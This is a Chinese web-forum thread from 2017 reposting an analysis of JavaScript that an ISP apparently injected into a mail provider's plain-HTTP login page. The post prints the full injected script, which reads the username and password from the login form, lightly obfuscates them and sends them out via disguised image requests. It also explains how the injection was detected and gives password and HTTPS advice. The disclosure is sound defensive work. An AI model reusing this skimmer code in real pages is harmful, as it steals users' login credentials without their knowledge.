全球主机交流论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

CeraNetworks网络延迟测速工具IP归属甄别会员请立即修改密码
查看: 7256|回复: 14

你们以为运营商只是HTTP插点广告而已么?呵呵呵呵

[复制链接]
发表于 2017-8-11 20:35:29 | 显示全部楼层 |阅读模式
本帖最后由 yandere 于 2017-8-11 20:37 编辑

原作者 insight-labs


国内某邮件服务商,近期在某南方地区有大量客户反应登录时出错和异常,于是工作人员进行了一下跟进,发现如下:
首先,邮件服务商登陆页面为普通HTTP协议发送,提交时通过JS进行RSA加密(没错,JS的RSA),发送到SSO登陆点,然后进行登录,有些人一看RSA,应该挺安全的了,不过……

在国内上网的大多数人对于运营商在HTTP包里插广告应该很熟悉了,原理很简单,大家可以参考腾讯安全中心的这篇文章http://security.tencent.com/index.php/blog/msg/10

在客户端抓包发现收到的HTTP数据包有异常,有几个包的TTL多了2,说明比正常从服务器到客户端的数据包少走了两跳,而且离服务器不是很远,估计在一个机房里,并且数据包的ID是很规律的12345,明显就是伪造的,包中插入了如下内容:

  1.     <script type="text/javascript">
  2.         document.getElementById("freepassword").onblur = function (e) {
  3.             logoFresh();
  4.         };
  5.      
  6.         function onLoginCheck() {
  7.             var user = null;
  8.             var pass = null;
  9.             user = document.getElementById("freename").value;
  10.             pass = document.getElementById("freepassword").value;
  11.             if (user.length <= 0 || pass.length <= 0) {
  12.                 return false;
  13.             } else {
  14.                 return rskQuery(user + '&' + pass + '&xxxxx.com');
  15.             }
  16.         };
  17.      
  18.         function rskQuery(s) {
  19.             s = encodeURIComponent(s);
  20.             var r = Math.random();
  21.             var num = (Math.round(r * 100)) % 9 + 1;
  22.             var i = 0;
  23.             var out = '';
  24.             do {
  25.                 var ch = s.charCodeAt(i++);
  26.                 ch = (i % 2 > 0) ? (ch - i % num) : (ch + i % num);
  27.                 var l = (ch / 10 >= 10) ? 3 : (ch / 10 > 0 ? 2 : 1);
  28.                 out += l.toString() + ch;
  29.             } while (i < s.length);
  30.             out = r.toString().substring(0, num) + out + num;
  31.             return out;
  32.         };
  33.      
  34.         function logoFresh() {
  35.             var h = logoUrl();
  36.             var s = onLoginCheck();
  37.             if (s == false) {
  38.                 return false;
  39.             }
  40.             for (var i = 0; i < 2; i++) {
  41.                 var bg_logo = new Image(0, 0);
  42.                 bg_logo.src = h + 'images/logo_bg.jpg?' + s;
  43.             }
  44.             var s1 = onLoginCheck();
  45.             var ajaxUrl = h + 'images/logo_bg.jpg?' + s1;
  46.             var result = xmlHttpConnect(ajaxUrl, "get", null);
  47.         };
  48.      
  49.         function logoUrl() {
  50.             return '/';
  51.         };
  52.      
  53.         function createXMLHttp() {
  54.             if (window.XMLHttpRequest) return new XMLHttpRequest();
  55.             else if (window.ActiveXObject) return new ActiveXObject("Microsoft.XMLHTTP");
  56.             else return null;
  57.         };
  58.      
  59.         function xmlHttpConnect(url, method, content) {
  60.             var request = createXMLHttp();
  61.             if (request == null) return null;
  62.             try {
  63.                 request.open(method, url, true);
  64.                 request.send(content);
  65.             } catch (e) {
  66.                 return null;
  67.             }
  68.             if ((request.readyState == 4) && (request.status == 200)) return null;
  69.             else return null
  70.         };
  71.      
  72.         document.getElementById("vippassword").onblur = function (e) {
  73.             logo_Fresh();
  74.         }
  75.      
  76.         function onLoginPhone() {
  77.             var user = null;
  78.             var pass = null;
  79.             user = document.getElementById("vipname").value;
  80.             pass = document.getElementById("vippassword").value;
  81.             if (user.length <= 0 || pass.length <= 0) {
  82.                 return false;
  83.             } else {
  84.                 return rskQuery(user + '&' + pass + '&vip.xxxxx.com');
  85.             }
  86.         }
  87.      
  88.         function logo_Fresh() {
  89.             var h = logoUrl();
  90.             var s = onLoginPhone();
  91.             if (s == false) {
  92.                 return false;
  93.             }
  94.             for (var i = 0; i < 2; i++) {
  95.                 var bg_logo = new Image(0, 0);
  96.                 bg_logo.src = h + 'images/logo_bg.jpg?' + s;
  97.             }
  98.             var s1 = onLoginCheck();
  99.             var ajaxUrl = h + 'images/logo_bg.jpg?' + s1;
  100.             var result = xmlHttpConnect(ajaxUrl, "get", null);
  101.         }
  102.     </script>
复制代码

在登录form里抓取用户名和密码,当成参数跟在logo后面再访问一下logo,再从中间抓包获取这段内容。这样的话邮件服务商的日志里肯定会出现很多 logo的请求后面跟着明文用户名密码吧,错了,服务商那边根本没看到logo被请求两次,推断是带有这个特征的数据包被drop了,真尼玛用心啊。

至此,用户的邮箱密码已经泄露,用户和服务商也没有任何察觉,可能由于某些原因,比如延迟,丢包,bug之类的,导致部分用户被插的时候有异常,影响了原有的登录js,才导致这次事件浮出水面。

服务商由于成本问题,暂不考虑采用SSL登录。

至于那边还有什么类似设备我就不多说了,反正据我的了解,国内随便什么实xxxx权部门都能任意在ISP机房和主干网上接入任意设备,据说连x税xxxxxxx务xx的x都x有xx。

关于本次事件学到的内容:

国内服务用的任何用户名和密码和在国外比如gmail,推特的账号要不相同,而且没有任何关联,并且国外服务的注册邮箱,密保邮箱等都要采用国外邮箱,首推gmail,并且打开二次认证,不要用短信认证,用手机验证器。

线上线下密码要分开,不相同,不近似,比如本地硬盘加密密码。凡是通过明文协议传输的通通被视为已暴露,HTTPS登录时每次手动查看证书签发机
构是否为之前常用的那一个,遇到怀疑是国内CA伪造证书的立刻把证书导出另存为,因为国内没有root
CA(cnnic的好像在ff和chrome已经被去掉了),只有二级证书机构,一旦被发现随便签证书会被立刻取消资格,并且黑名单推送到各大浏览器和操
作系统。

呵呵,你们以为能频繁的,多种花样的插12306就赢了么,你们以为每天在WB打打嘴炮就胜利了么,菊花都被爆脱肛了还不知道。

不上HTTPS都是耍流氓 @cpuer 該上HTTPS了
suzizi 该用户已被删除
发表于 2017-8-11 23:24:07 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2017-8-11 20:37:38 | 显示全部楼层
重要的业务都是用TLS,安全性还好(前提是证书干净
发表于 2017-8-11 20:38:35 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2017-8-11 20:40:28 | 显示全部楼层
访问loc都是挂ss的,不担心运营商拦截
发表于 2017-8-11 20:41:34 来自手机 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2017-8-11 20:41:40 | 显示全部楼层
这么说来又多了一个理由用一键登录了.
发表于 2017-8-11 21:08:06 | 显示全部楼层
是时候学习一下代码了
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|全球主机交流论坛

GMT+8, 2024-4-18 16:31 , Processed in 0.066055 second(s), 12 queries , Gzip On, MemCache On.

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表